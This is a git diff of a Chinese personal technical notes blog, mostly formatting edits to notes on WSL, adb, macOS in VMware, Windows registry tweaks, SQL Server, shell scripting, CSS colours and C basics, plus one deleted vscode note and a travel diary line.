Add-AppxPackage "路径\下载的wsa.Msixbundle" Add-AppxPackage "路径\下载的wsa.Msixbundle"
``` ```
## Windows Subsystem for Linux (WSL) ## Windows Subsystem for Linux (WSL)
@ -46,16 +46,16 @@ tags: []
1. 以管理员身份打开 PowerShell 并运行: 1. 以管理员身份打开 PowerShell 并运行:
```bash ```bash
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
``` ```
### 二、检查 WSL2 的要求 ### 二、检查 WSL2 的要求
按 Win+R 打开运行,输入 `winver` 检查 Windows 版本要求: 按 Win+R 打开运行,输入 `winver` 检查 Windows 版本要求:
- 对于 x64 系统:版本 1903 或更高,内部版本 18362.1049 或更高。 * 对于 x64 系统:版本 1903 或更高,内部版本 18362.1049 或更高。
- 对于 ARM64 系统:版本 2004 或更高,内部版本 19041 或更高。 * 对于 ARM64 系统:版本 2004 或更高,内部版本 19041 或更高。
### 三、启用虚拟机功能 ### 三、启用虚拟机功能
@ -79,26 +79,26 @@ wsl --set-default-version 2
### 六、安装 Linux 分发版 ### 六、安装 Linux 分发版
1. 访问 Microsoft Store下载想要安装的 Linux 分发版" 1. 访问Microsoft Store下载想要安装的 Linux 分发版"
2. 切换到 root 用户登录(如需): 2. 切换到 root 用户登录(如需):
在 PowerShell 中运行 在 PowerShell 中运行
1. 获取 linux 名称 1. 获取linux名称
```bash ```bash
wsl --list wsl --list
``` ```
2. 切换 root 用户 2. 切换root用户
```bash ```bash
指定的Linux分发版 config --default-user root 指定的Linux分发版 config --default-user root
``` ```
## 常见问题处理 ## 常见问题处理
- **关闭 WSL 自动挂载 Windows 分区** * **关闭 WSL 自动挂载 Windows 分区**
编辑 WSL 配置文件 `/etc/wsl.conf` 并添加内容以禁用自动挂载和 Windows 路径的添加。 编辑 WSL 配置文件 `/etc/wsl.conf` 并添加内容以禁用自动挂载和 Windows 路径的添加。
```bash ```bash
@ -111,18 +111,19 @@ wsl --set-default-version 2
enabled = false enabled = false
``` ```
- **解决无法定位 package screen 的问题** * **解决无法定位 package screen 的问题**
在 Linux 分发版中运行 `apt-get update` 来更新软件包列表。 在 Linux 分发版中运行 `apt-get update` 来更新软件包列表。
- **WSL 卸载** * **WSL 卸载**
查看已安装的 WSL 环境并卸载指定的 Linux 分发版。 查看已安装的 WSL 环境并卸载指定的 Linux 分发版。
```bash ```bash
wsl --unregister 指定的Linux分发版 wsl --unregister 指定的Linux分发版
``` ```
- **解决 WSLRegisterDistribution 错误** * **解决 WSLRegisterDistribution 错误**
在 PowerShell 中运行 在 PowerShell 中运行
```bash ```bash
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
``` ```

View File

@ -1,69 +0,0 @@
---
title: "vscode配置"
date: 2025-04-19T11:10:57+08:00
tags: []
---
## 自动补全,语法检查
| 语言 | 插件 |
| -------- | ---------------------------------------------------------------------------------------------------------- |
| rust | [rust-analyzer](https://marketplace.visualstudio.com/items?itemName=rust-lang.rust-analyzer) |
| tailwind | [Tailwind CSS IntelliSense](https://marketplace.visualstudio.com/items?itemName=bradlc.vscode-tailwindcss) |
| markdown | [markdownlint](https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint) |
| toml | [Even Better TOML](https://marketplace.visualstudio.com/items?itemName=tamasfe.even-better-toml) |
## 格式化
### 格式化插件
| 插件 | 格式化言语 |
| ------------------------------------------------------------------------------------------------ | ------------------- |
| [prettier](https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-vscode) | js,md,css,html,yaml |
| [Black Formatter](https://marketplace.visualstudio.com/items?itemName=ms-python.black-formatter) | python |
| [shell-format](https://marketplace.visualstudio.com/items?itemName=foxundermoon.shell-format) | shell |
### 保存自动格式化
`settings.json`增加以下代码
```txt
"editor.formatOnSave": true // 保存时自动规范代码
```
## 其他
| 名称 | 作用 |
| ----------------------------------------------------------------------------------------------------------------------------- | ---------------------- |
| [Atom Material Icons](https://marketplace.visualstudio.com/items?itemName=AtomMaterial.a-file-icon-vscode) | 美化图标 |
| [Atom One Dark Theme](https://marketplace.visualstudio.com/items?itemName=akamud.vscode-theme-onedark) | 美化主题 |
| [Live Preview](https://marketplace.visualstudio.com/items?itemName=ms-vscode.live-server) | 提供在线预览web项目 |
| [Markdown Preview Github Styling](https://marketplace.visualstudio.com/items?itemName=bierner.markdown-preview-github-styles) | 提供markdown代码块样式 |
| [Chinese (Simplified)](https://marketplace.visualstudio.com/items?itemName=MS-CEINTL.vscode-language-pack-zh-hans) | 简体中文语言包 |
## 非html文件中启用tailwind高亮提示
### 安装高亮插件
- [Tailwind CSS IntelliSense](https://marketplace.visualstudio.com/items?itemName=bradlc.vscode-tailwindcss)
- [PostCSS Language Support](https://marketplace.visualstudio.com/items?itemName=csstools.postcss)
### 启动高亮配置
>以rust为例
修改`setting.json`文件
```json
// 配置识别的正则表达式
"tailwindCSS.experimental.classRegex": [
"class:\\s?\"(.*?)\"",
"class:\\s?format!\\((\"(.*?)\")\\)"
],
// 配置识别的语言
"tailwindCSS.includeLanguages": {
"rust": "html"
},
```

View File

@ -4,29 +4,29 @@ date: 2021-08-12T20:27:00+08:00
tags: [] tags: []
--- ---
## 1. 下载 adb 工具 ## 1. 下载adb工具
(1) 打开 Android 开发网,搜索"SDK Platform Tools",打开如下所示的[网站][1],可以看到有 Windows\Mac\Linux 三个版本的 SDK Platform Tools点击符合你电脑的版本下载它。adb 工具就包含在这个工具中。 (1) 打开Android开发网搜索"SDK Platform Tools",打开如下所示的[网站][1]可以看到有Windows\Mac\Linux三个版本的SDK Platform Tools点击符合你电脑的版本下载它。adb工具就包含在这个工具中。
(2) 如果打不开 Android 开发网,则需要魔法,确保能访问 Google 之后再来下载和安装 adb。 (2) 如果打不开Android开发网则需要魔法确保能访问Google之后再来下载和安装adb。
或者在一些第三方的网站上下载 SDK Platform Tools。 或者在一些第三方的网站上下载SDK Platform Tools。
(3) 站长提供的[platform-tools_r31.0.3-windows][2]蓝奏云下载 (3) 站长提供的[platform-tools_r31.0.3-windows][2]蓝奏云下载
## 2. adb 安装和配置 ## 2. adb安装和配置
(1) SDK Platform Tools 下载后,在"platform-tools"路径下可以看到三个 adb 相关的文件。现在需要将这个路径添加到系统环境变量中。 (1) SDK Platform Tools下载后在"platform-tools"路径下可以看到三个adb相关的文件。现在需要将这个路径添加到系统环境变量中。
(2) 添加环境变量: (2) 添加环境变量:
- windows10: 打开我的电脑——高级系统设置——系统属性——高级——环境变量——编辑 Path将步骤 3 个文件所在路径添加到 Path 变量值中。最后点击"确定"。 - windows10: 打开我的电脑——高级系统设置——系统属性——高级——环境变量——编辑Path将步骤3个文件所在路径添加到Path变量值中。最后点击"确定"。
- windows7: 右击我的电脑——属性——高级系统设置——高级——环境变量——编辑 Path - windows7: 右击我的电脑——属性——高级系统设置——高级——环境变量——编辑Path
(3) 重新打开一个 cmd 窗口,输入 adb可以看到如下的窗口有显示 adb 的版本和用法,这就说明 adb 正确安装好啦。 (3) 重新打开一个cmd窗口输入adb可以看到如下的窗口有显示adb的版本和用法这就说明adb正确安装好啦。
## 3. 下载驱动 ## 3. 下载驱动
去谷歌中国开发者网站上下载 oem usb 驱动程序,并在设备管理器选择正确的驱动程序 去谷歌中国开发者网站上下载oem usb驱动程序,并在设备管理器选择正确的驱动程序
驱动程序:[https://developer.android.google.cn/studio/run/oem-usb?hl=zh-cn][3] 驱动程序:[https://developer.android.google.cn/studio/run/oem-usb?hl=zh-cn][3]
[1]: https://developer.android.google.cn/studio/releases/platform-tools?hl=en [1]: https://developer.android.google.cn/studio/releases/platform-tools?hl=en

View File

@ -4,29 +4,29 @@ date: 2023-12-15T20:53:00Z
tags: [] tags: []
--- ---
## 一、安装 VMware Workstation Pro ## 一、安装VMware Workstation Pro
官方下载链接: [VMware Workstation Pro](https://www.vmware.com/cn/products/workstation-pro/workstation-pro-evaluation.html) 官方下载链接: [VMware Workstation Pro](https://www.vmware.com/cn/products/workstation-pro/workstation-pro-evaluation.html)
激活教程: 百度 激活教程: 百度
## 二、unlocker 解锁 VM 以支持 macOS 系统 ## 二、unlocker解锁VM以支持macOS系统
下载链接: [Unlocker Releases](https://github.com/DrDonk/unlocker/releases) 下载链接: [Unlocker Releases](https://github.com/DrDonk/unlocker/releases)
1. 完全关闭 VMware 1. 完全关闭VMware
2. 下载完成后,解压压缩包,右键点击`windows/unlock.exe`,选择以管理员模式运行。 2. 下载完成后,解压压缩包,右键点击`windows/unlock.exe`,选择以管理员模式运行。
3. 提示`press enter key to continue`说明安装成功 3. 提示`press enter key to continue`说明安装成功
## 三.下载 `macOS Recovery` 镜像 ## 三.下载 `macOS Recovery` 镜像
> macOS Recovery 模式可以用来给 mac 电脑恢复和重新安装操作系统,而虚拟机也可以通过此模式来安装 macOS > macOS Recovery模式可以用来给mac 电脑恢复和重新安装操作系统,而虚拟机也可以通过此模式来安装 macOS
> 操作系统,所以我们需要下载一个 macOS Recovery 镜像来引导虚拟机进入 macOS Recovery 模式。 > 操作系统,所以我们需要下载一个 macOS Recovery 镜像来引导虚拟机进入macOS Recovery模式。
### 1. 下载 python(如果有可以跳过) ### 1. 下载python(如果有可以跳过)
Python 官方下载地址:[Python 下载地址](https://www.python.org/downloads/) Python官方下载地址[Python下载地址](https://www.python.org/downloads/)
Microsoft 下载地址: [Microsoft 下载地址](https://apps.microsoft.com/search?query=pyhon&hl=zh-cn&gl=CN) Microsoft下载地址: [Microsoft下载地址](https://apps.microsoft.com/search?query=pyhon&hl=zh-cn&gl=CN)
### 2. 下载 macOS Recovery 镜像 ### 2. 下载 macOS Recovery 镜像
@ -44,24 +44,24 @@ curl -OL https://raw.githubusercontent.com/acidanthera/OpenCorePkg/master/Utilit
python3 macrecovery.py -b Mac-FFE5EF870D7BA81A -m 00000000000000000 download python3 macrecovery.py -b Mac-FFE5EF870D7BA81A -m 00000000000000000 download
``` ```
> 下载完成后,可以看到当前文件夹多出了一个 com.apple.recovery.boot > 下载完成后可以看到当前文件夹多出了一个com.apple.recovery.boot
> >
> 文件夹,打开之后有一个 BaseSystem.dmg > 文件夹打开之后有一个BaseSystem.dmg
> >
> 文件,这就是 macOSRecovery 镜像;但是此镜像不能直接用来引导虚拟机,需要转换一下格式才能用来引导虚拟机。 > 文件这就是macOSRecovery镜像但是此镜像不能直接用来引导虚拟机需要转换一下格式才能用来引导虚拟机。
下载 macOSRecovery 镜像的教程来自[这里](https://dortania.github.io/OpenCore-Install-Guide/installer-guide/windows-install.html) 下载macOSRecovery镜像的教程来自[这里](https://dortania.github.io/OpenCore-Install-Guide/installer-guide/windows-install.html)
### 3. 转换 macOS Recovery 镜像 ### 3. 转换 macOS Recovery 镜像
镜像需要用到 qemu-img 工具 镜像需要用到 qemu-img 工具
下载链接: [QEMU 下载链接](https://qemu.weilnetz.de/w64/) 下载链接: [QEMU下载链接](https://qemu.weilnetz.de/w64/)
#### . 下载 qemu 之后,双击 qemu-w64-setup 程序进行安装 #### . 下载 qemu 之后,双击 qemu-w64-setup 程序进行安装
安装完毕后,和之前打开命令行的方法一样,打开 cmd 命令行进入`com.apple.recovery.boot`文件夹 安装完毕后,和之前打开命令行的方法一样,打开cmd命令行进入`com.apple.recovery.boot`文件夹
Ⅱ. 打开此路径后,如果 qemu-w64 是默认安装就输入 Ⅱ. 打开此路径后如果qemu-w64是默认安装就输入
```bash ```bash
c:\"Program Files"\qemu\qemu-img convert -O vmdk -o compat6 BaseSystem.dmg recovery.vmdk c:\"Program Files"\qemu\qemu-img convert -O vmdk -o compat6 BaseSystem.dmg recovery.vmdk
@ -85,11 +85,11 @@ CPU配置处理器数量:1,内核数量:自定义
## 五.设置引导硬盘 ## 五.设置引导硬盘
点击虚拟机名字->编辑虚拟机设置->添加->硬盘->磁盘类型默认->使用现在已有虚拟磁盘 ->将选择第三步生成的 recovery.vmdk->选择保持原有格式->然后保存 点击虚拟机名字->编辑虚拟机设置->添加->硬盘->磁盘类型默认->使用现在已有虚拟磁盘 ->将选择第三步生成的recovery.vmdk->选择保持原有格式->然后保存
## 六.开始安装 ## 六.开始安装
### 1.打开 VMWare 虚拟机,开启虚拟机电源,虚拟机会自动进入引导界面 ### 1.打开VMWare虚拟机开启虚拟机电源虚拟机会自动进入引导界面
### 2.选择语言 ### 2.选择语言
@ -102,9 +102,9 @@ CPU配置处理器数量:1,内核数量:自定义
## 七.安装完成之后 ## 七.安装完成之后
安装完成进入系统之后,需要安装 vmware-tools 工具,这样才可以调整窗口分辨率以及开启 HiDPI。右键点击 VMware 虚拟机管理界面的虚拟机选项即可看到 安装 vmware-tools 工具选项,点击后虚拟机内会弹出安装界面,按照提示一步步安装,然后重启即可。 安装完成进入系统之后,需要安装 vmware-tools 工具,这样才可以调整窗口分辨率以及开启 HiDPI。右键点击 VMware 虚拟机管理界面的虚拟机选项即可看到 安装 vmware-tools 工具选项,点击后虚拟机内会弹出安装界面,按照提示一步步安装,然后重启即可。
## vmware 安装苹果虚拟机卡在苹果图标位置不动或者最新 AMD 客户机操作系统已禁用 CPU。请关闭或重置虚拟机 ## vmware安装苹果虚拟机卡在苹果图标位置不动或者最新AMD客户机操作系统已禁用 CPU。请关闭或重置虚拟机
修改虚拟机目录下`macOS 13.vmx`文件末尾加入 修改虚拟机目录下`macOS 13.vmx`文件末尾加入

View File

@ -8,15 +8,15 @@ tags: []
1. 切换回经典右键菜单: 1. 切换回经典右键菜单:
```powershell ```powershell
reg add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve reg add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve
``` ```
2. 恢复到新版右键菜单(不建议执行): 2. 恢复到新版右键菜单(不建议执行):
```powershell ```powershell
reg delete "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}" /f reg delete "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}" /f
``` ```
然后,按下 Win+E 打开 Windows 资源管理器,接着按下 Ctrl+Shift+Esc 打开任务管理器,找到并重启 Windows 资源管理器。 然后,按下 Win+E 打开 Windows 资源管理器,接着按下 Ctrl+Shift+Esc 打开任务管理器,找到并重启 Windows 资源管理器。

View File

@ -6,17 +6,17 @@ tags: []
## 问题描述 ## 问题描述
本人在安装 Windows 10 操作系统的过程中遭遇断电,导致安装中断。再次进行安装一直报上面的错误。 本人在安装Windows 10操作系统的过程中遭遇断电导致安装中断。再次进行安装一直报上面的错误。
已尝试网上盛传的方法,使用 Shift+F10 打开命令行,进入`Windows\system32\oobe\`,打开`msoobe`,但这些尝试都没有反应。 已尝试网上盛传的方法使用Shift+F10打开命令行进入`Windows\system32\oobe\`,打开`msoobe`,但这些尝试都没有反应。
## 解决方法 ## 解决方法
1. 按 Shift+F10 打开命令行窗口。 1. 按Shift+F10打开命令行窗口。
2. 输入`regedit`以打开注册表编辑器。 2. 输入`regedit`以打开注册表编辑器。
3. 在注册表编辑器中找到路径`HKEY_LOCAL_MACHINE/SYSTEM/SETUP/STATUS/ChildCompletion`。 3. 在注册表编辑器中找到路径`HKEY_LOCAL_MACHINE/SYSTEM/SETUP/STATUS/ChildCompletion`。
4. 在`ChildCompletion`下找到名为`SETUP.EXE`的项,双击它。 4. 在`ChildCompletion`下找到名为`SETUP.EXE`的项,双击它。
5. 修改数值数据从 1 修改为 3然后点击确定。 5. 修改数值数据从1修改为3然后点击确定。
6. 关闭注册表编辑器。 6. 关闭注册表编辑器。
7. 重新点击错误消息框的"确定"按钮。 7. 重新点击错误消息框的"确定"按钮。
8. 电脑将自动重启,重新解析安装包再次进入安装系统。 8. 电脑将自动重启,重新解析安装包再次进入安装系统。

View File

@ -28,7 +28,7 @@ tags: []
&nbsp;&nbsp;国外的公交车不适合i人,我打算从布城从地铁到市中心需要先坐公交车到布城去差10秒就赶上了但是站台没人所以公交车司机没有停第二次在休息区等了半个小时司机又没停可能是司机没看到我吧第三次我站在公交车站台等车的位置等待可是他还是没停这次可能是没有给司机信号第四次等公交车快到的时候我死死的看着司机与他建立心灵链接但他还是不停浏览器查询原来要招手用打车软件看了一下两公里还是选择打车了 &nbsp;&nbsp;国外的公交车不适合i人,我打算从布城从地铁到市中心需要先坐公交车到布城去差10秒就赶上了但是站台没人所以公交车司机没有停第二次在休息区等了半个小时司机又没停可能是司机没看到我吧第三次我站在公交车站台等车的位置等待可是他还是没停这次可能是没有给司机信号第四次等公交车快到的时候我死死的看着司机与他建立心灵链接但他还是不停浏览器查询原来要招手用打车软件看了一下两公里还是选择打车了
&nbsp;&nbsp;在去酒店的路上看到了很多流浪汉,不过感觉他们的穿搭和我没有区别,一个包+拖鞋,历经大雨来到谷歌地图显示的位置,却找不到酒店,找了一个印度男人问路,他也找不到,他给酒店客服打电话后,告诉我不在这个区域,给我指路,往哪走再往哪走到一个塔下快到了问问别人,我一点没记住好在用高德地图重新导航,竟然没问题。 &nbsp;&nbsp;在去酒店的路上看到了很多流浪汉,不过感觉他们的穿搭和我没有区别,一个包+拖鞋,酒店的位置和平台给的地址不同还好遇到一个好心的印度男人,打电话和酒店交流,告诉我酒店在哪里
&nbsp;&nbsp;晚餐找了家本地人多的店,点了一个大虾饭,没想到是正宗印度菜,`米饭味道=70%八角+20%洗衣服+10%辣椒` &nbsp;&nbsp;晚餐找了家本地人多的店,点了一个大虾饭,没想到是正宗印度菜,`米饭味道=70%八角+20%洗衣服+10%辣椒`

View File

@ -12,13 +12,13 @@ tags: []
创建 创建
````sql ````
create funcition 函数名(@参数 类型) create funcition 函数名(@参数 类型)
returns 类型 returns 类型
as as
begin begin
条件 条件
return 值 return 值
end end
```` ````
@ -28,28 +28,28 @@ end
#### 方案一(处理复杂逻辑,函数体除了sql查询之外还有其他逻辑代码) #### 方案一(处理复杂逻辑,函数体除了sql查询之外还有其他逻辑代码)
````sql ````
create function 函数名(@参数 类型) create function 函数名(@参数 类型)
returns @表名 table returns @表名 table
( (
数据结构 数据结构
) )
as as
begin begin
insert into @表名 insert into @表名
条件 条件
return return
end end
```` ````
#### 方案二(只能return+sql查询结果) #### 方案二(只能return+sql查询结果)
````sql ````
create function 函数名(@参数 类型) create function 函数名(@参数 类型)
return table return table
as as
return return
条件 条件
go go
```` ````

View File

@ -35,4 +35,5 @@ select @变量名=值
### go ### go
1.等待 go 语句之前的代码执行完之后才能执行后面的代码 2.批处理结束的一个标志 1.等待go语句之前的代码执行完之后才能执行后面的代码
2.批处理结束的一个标志

View File

@ -36,7 +36,7 @@ alter table 表名 add constraint 约束名 primary key(列名)
#### 唯一 #### 唯一
alter table 表名 add constraint 约束名 unique(列名) alter table 表名 add constraint 约束名unique(列名)
#### 默认值 #### 默认值

View File

@ -3,7 +3,6 @@ title: 触发器
date: 2024-06-06T23:51:43Z date: 2024-06-06T23:51:43Z
tags: [] tags: []
--- ---
## instead of(事前触发器) ## instead of(事前触发器)
## After(事后触发器) ## After(事后触发器)

View File

@ -4,11 +4,12 @@ date: 2024-06-06T23:51:36Z
tags: [] tags: []
--- ---
$n $n
> n 代表数字,$1-$9 代表第一到第九个参数,十以上需要用大括号把位置值包含类似 ${10} > n代表数字,$1-$9代表第一到第九个参数,十以上需要用大括号把位置值包含类似 ${10}
$\* $*
> 代表命令行中的所有参数(所有参数当作一个整体) > 代表命令行中的所有参数(所有参数当作一个整体)

View File

@ -8,17 +8,17 @@ tags: []
## 系统变量 ## 系统变量
| 变量 | 作用 | |变量|作用|
| --------------- | ------------------------------------ | | ------| --------------------------------------|
| `$USER` | 当前用户的用户名 | |`$USER`|当前用户的用户名|
| `$HOME` | 当前用户的家目录 | |`$HOME`|当前用户的家目录|
| `$PATH` | 包含可执行文件的目录列表,用冒号分隔 | |`$PATH`|包含可执行文件的目录列表,用冒号分隔|
| `$PWD` | 当前工作目录的路径 | |`$PWD`|当前工作目录的路径|
| `$SHELL` | 当前正在使用的 Shell 的路径 | |`$SHELL`|当前正在使用的 Shell 的路径|
| `$?` | 表示上一个命令的退出状态 | |`$?`|表示上一个命令的退出状态|
| `$$` | 表示当前 Shell 进程的 PID进程 ID | |`$$`|表示当前Shell进程的PID进程ID|
| `$#` | 表示传递给脚本的位置参数的数量 | |`$#`|表示传递给脚本的位置参数的数量|
| `$1, $2, ...` | 用于访问传递给脚本的参数 | |`$1, $2, ...`|用于访问传递给脚本的参数|
## 定义变量 ## 定义变量
@ -46,7 +46,7 @@ unset 变量
``=$() ``=$()
例如 例如
A=`ls -l`等于 A=$(ls -l) A=`ls -l`等于A=$(ls -l)

View File

@ -4,71 +4,72 @@ date: 2024-06-06T23:51:45Z
tags: [] tags: []
--- ---
### 基本和高级条件表达式操作符 ### 基本和高级条件表达式操作符
| 符号 | 作用 | |符号|作用|
| -------- | ----------------------------------------------------------------------- | | ------| -------------------------------------------------------------------------|
| `{}` | 代码块,不创建新的子 shell用于组织一系列的命令 | |`{}`|代码块不创建新的子shell用于组织一系列的命令|
| `()` | 创建一个子 shell并在其中执行命令 | |`()`|创建一个子shell并在其中执行命令|
| `[[]]` | 执行高级条件表达式,支持模式匹配、正则表达式等 | |`[[]]`|执行高级条件表达式,支持模式匹配、正则表达式等|
| `$` | 用于变量引用、命令替换、算术运算等 | |`$`|用于变量引用、命令替换、算术运算等|
| `\|` | 管道运算符,将一个命令的输出作为另一个命令的输入 | |`\|`|管道运算符,将一个命令的输出作为另一个命令的输入|
| `!` | 逻辑非运算符,用于否定一个条件表达式的结果 | |`!`|逻辑非运算符,用于否定一个条件表达式的结果|
| `&&` | 逻辑与运算符,如果左边的命令/条件表达式返回真(成功),则执行右边的命令 | |`&&`|逻辑与运算符,如果左边的命令/条件表达式返回真(成功),则执行右边的命令|
| `\|\|` | 逻辑或运算符,如果左边的命令/条件表达式返回假(失败),则执行右边的命令 | |`\|\|`|逻辑或运算符,如果左边的命令/条件表达式返回假(失败),则执行右边的命令|
### 特殊 ### 特殊
| 符号 | 作用 | |符号|作用|
| ------ | -------------------- | | ------| ----------------------|
| `\|` | 在正则中表示或 | |`\|`|在正则中表示或|
| `!` | 在引用中表示间距引用 | |`!`|在引用中表示间距引用|
| `#` | 在数组中表示长度 | |`#`|在数组中表示长度|
### 条件操作符 ### 条件操作符
| 操作符 | 描述 | |操作符|描述|
| ------- | ----------------------------------------------------------- | | --------| ------------------------------------------------------------|
| `=` | 字符串比较(相等) | |`=`|字符串比较(相等)|
| `!=` | 字符串比较(不等) | |`!=`|字符串比较(不等)|
| `-lt` | 数值比较(小于) | |`-lt`|数值比较(小于)|
| `-gt` | 数值比较(大于) | |`-gt`|数值比较(大于)|
| `-le` | 数值比较(小于等于) | |`-le`|数值比较(小于等于)|
| `-ge` | 数值比较(大于等于) | |`-ge`|数值比较(大于等于)|
| `-eq` | 数值比较(等于) | |`-eq`|数值比较(等于)|
| `-ne` | 数值比较(不等于) | |`-ne`|数值比较(不等于)|
| `=~` | 正则表达式匹配 | |`=~`|正则表达式匹配|
| `-z` | 字符串为空 | |`-z`|字符串为空|
| `-n` | 字符串不为空 | |`-n`|字符串不为空|
| `:=` | 在参数扩展中使 用,用于在变量未设置或为空时赋予一个默认值 | |`:=`|在参数扩展中使​用,用于在变量未设置或为空时赋予一个默认值|
### 逻辑操作符详解 ### 逻辑操作符详解
| 操作符 | 描述 | |操作符|描述|
| -------- | ------------- | | --------| ---------------|
| `&&` | 逻辑与AND | |`&&`|逻辑与AND|
| `\|\|` | 逻辑或OR | |`\|\|`|逻辑或OR|
| `!` | 逻辑非NOT | |`!`|逻辑非NOT|
### 算术操作符详解 ### 算术操作符详解
| 操作符 | 描述 | |操作符|描述|
| ------ | ------ | | --------| --------|
| `+` | 加法 | |`+`|加法|
| `-` | 减法 | |`-`|减法|
| `*` | 乘法 | |`*`|乘法|
| `/` | 除法 | |`/`|除法|
| `%` | 取模 | |`%`|取模|
| `**` | 幂运算 | |`**`|幂运算|
### 文件测试操作符 ### 文件测试操作符
| 操作符 | 描述 | 示例 | |操作符|描述|示例|
| ------ | -------------------- | -------------------------- | | --------| ----------------------| ------|
| `-f` | 文件存在且为普通文件 | `if [[ -f $file ]]` | |`-f`|文件存在且为普通文件|`if [[ -f $file ]]`|
| `-d` | 目录存在 | `if [[ -d $directory ]]` | |`-d`|目录存在|`if [[ -d $directory ]]`|
| `-e` | 文件存在 | `if [[ -e $filepath ]]` | |`-e`|文件存在|`if [[ -e $filepath ]]`|
| `-r` | 文件存在且可读 | `if [[ -r $file ]]` | |`-r`|文件存在且可读|`if [[ -r $file ]]`|
| `-w` | 文件存在且可写 | `if [[ -w $file ]]` | |`-w`|文件存在且可写|`if [[ -w $file ]]`|
| `-x` | 文件存在且可执行 | `if [[ -x $file ]]` | |`-x`|文件存在且可执行|`if [[ -x $file ]]`|
| `-s` | 文件存在且非空 | `if [[ -s $file ]]` | |`-s`|文件存在且非空|`if [[ -s $file ]]`|

View File

@ -37,15 +37,15 @@ case <expression> in
esac esac
``` ```
case 关键字表示开始一个 case 语句块。 case关键字表示开始一个case语句块。
expression 是需要匹配的表达式或变量。 expression是需要匹配的表达式或变量。
pattern1, pattern2, pattern3 等是可能的匹配模式。 pattern1, pattern2, pattern3等是可能的匹配模式。
command1, command2, command3 是与每个模式匹配时要执行的命令。 command1, command2, command3是与每个模式匹配时要执行的命令。
\*)是通配符,用于匹配所有不符合前面模式的情况。 *)是通配符,用于匹配所有不符合前面模式的情况。
default_command 是当没有匹配模式时执行的命令。 default_command是当没有匹配模式时执行的命令。
;;用于标识每个模式下命令的结束。 ;;用于标识每个模式下命令的结束。
## for 循环 ## for循环
### 第一种 ### 第一种

View File

@ -4,7 +4,8 @@ date: 2024-06-06T23:51:42Z
tags: [] tags: []
--- ---
## 将 Shell 变量输出为环境变量
## 将Shell变量输出为环境变量
`export 变量名=变量值` `export 变量名=变量值`

View File

@ -4,6 +4,7 @@ date: 2024-06-06T23:51:42Z
tags: [] tags: []
--- ---
## 方法一:使用 function 关键字 ## 方法一:使用 function 关键字
```shell ```shell

View File

@ -4,14 +4,15 @@ date: 2024-06-06T23:51:38Z
tags: [] tags: []
--- ---
## 脚本要求 ## 脚本要求
脚本以`#!/bin/bash`开头 脚本以`#!/bin/bash`开头
用来指定哪一个 shell 进行解析,脚本需要可执行权限 用来指定哪一个shell进行解析,脚本需要可执行权限
## 脚本后缀 ## 脚本后缀
通用 sh(不限制后缀) 通用sh(不限制后缀)
## 执行方法 ## 执行方法
@ -20,6 +21,6 @@ tags: []
> 赋可执行权限 > 赋可执行权限
> 输入程序相对路径或绝对路径 > 输入程序相对路径或绝对路径
### 2.用 bash ### 2.用bash
bash+绝对路径或相对路劲 bash+绝对路径或相对路劲

View File

@ -4,27 +4,29 @@ date: 2024-06-06T23:51:10Z
tags: [] tags: []
--- ---
## 颜色名 ## 颜色名
## 光的三原色 ## 光的三原色
1. `rgb` 1. `rgb`
- rgb(数值 1,数值 2,数值 3) - rgb(数值1,数值2,数值3)
- 红绿蓝 - 红绿蓝
- 数值可以是百分比或数值其中一种 - 数值可以是百分比或数值其中一种
2. `HEX` 2. `HEX`
- #ffffff - #ffffff
- rgb 16 进制版,每两位代表一个颜色 - rgb的16进制版,每两位代表一个颜色
3. `rgba` 3. `rgba`
- rgba(数值 1,数值 2,数值 3,数值 4) - rgba(数值1,数值2,数值3,数值4)
- 数值可以是百分比或数值其中一种 - 数值可以是百分比或数值其中一种
- 最后一位是透明度0 是透明,1 是显示 - 最后一位是透明度0是透明,1是显示
4. `HEXA` 4. `HEXA`
- #ffffffff - #ffffffff
- HEX 多了一个透明色 - HEX多了一个透明色
如果两两相同,可以只写一位 如果两两相同,可以只写一位
IE 浏览器不支持透明 IE浏览器不支持透明
## 色彩模式 ## 色彩模式
@ -33,4 +35,4 @@ IE 浏览器不支持透明
饱和度:0%-100% 饱和度:0%-100%
亮度:0%-100% 亮度:0%-100%
`hsla` `hsla`
透明度:0-1 的小数或百分数 透明度:0-1的小数或百分数

View File

@ -15,42 +15,40 @@ tags: []
1. 模块化 1. 模块化
2. 自顶往下 2. 自顶往下
3. 逐步求精 3. 逐步求精
4. 限制使用 go 语句 4. 限制使用go语句
### 程序执行过程 ### 程序执行过程
1. 源程序(`.c`) 1. 源程序(`.c`)
编译 编译
2. 目标文件(`.obj`) 2. 目标文件(`.obj`)
链接 链接
3. 执行文件(`.exe`) 3. 执行文件(`.exe`)
执行 执行
### 常量 ### 常量
#### 整数 #### 整数
- `0` 开头的是 8 进制 * `0`开头的是8进制
- `0x` 开头的是 16 进制 * `0x`开头的是16进制
#### 小数 #### 小数
- `0.7`=`.7` * `0.7`=`.7`
- `7.0`=`7.` * `7.0`=`7.`
- 科学计数`6E6` * 科学计数`6E6`
E 的前后必须有数,后面必须为整数 E的前后必须有数后面必须为整数
#### 字符型 #### 字符型
##### 普通字符 ##### 普通字符
c 语言只有单字符 c语言只有单字符
A=65 A=65
@ -58,15 +56,15 @@ a=97
##### 转义字符 ##### 转义字符
- 一般转义字符:`\n` `\t` * 一般转义字符:`\n` `\t`
- 八进制转义字符:`\0` 开头,`\0343` * 八进制转义字符:`\0`开头,`\0343`
- 十六进制转义字符:`\0x` 开头,`\0xaf` * 十六进制转义字符:`\0x`开头,`\0xaf`
### 注释 ### 注释
开头:/\* 开头:/*
结尾:\*/ 结尾:*/
### 三段论 ### 三段论
@ -76,24 +74,24 @@ a=97
#### 关键字 #### 关键字
- int * int
- float * float
- acse * acse
不能作为用户标识符 不能作为用户标识符
